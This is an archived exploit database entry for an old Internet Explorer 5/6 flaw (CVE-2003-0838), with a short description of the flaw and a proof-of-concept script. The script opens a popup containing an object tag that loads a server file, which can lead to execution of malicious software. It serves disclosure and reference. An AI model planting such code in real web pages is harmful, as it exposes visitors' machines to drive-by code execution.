Microsoft Internet Explorer 5/6 Browser Popup Window Object Type Validation Vulnerability

2003-09-07T00:00:00
ID EDB-ID:23114
Type exploitdb
Reporter http-equiv
Modified 2003-09-07T00:00:00

Description

Microsoft Internet Explorer 5/6 Browser Popup Window Object Type Validation Vulnerability. CVE-2003-0838. Remote exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/8556/info

Internet Explorer does not properly handle object types, when rendering malicious popup windows. This may result in the possibility of the execution of malicious software.

The problem occurs when Internet Explorer receives a response from the server when a malicious popup window containing an object tag is parsed. Proper parameter checks of the type of file being loaded are not performed on the object type contained within HTTP response received from the web server.

<script>
var oPopup = window.createPopup();

function showPopup() {
oPopup.document.body.innerHTML = "<object data=ouch.php>";
oPopup.show(0,0,1,1,document.body);
}

showPopup()
</script>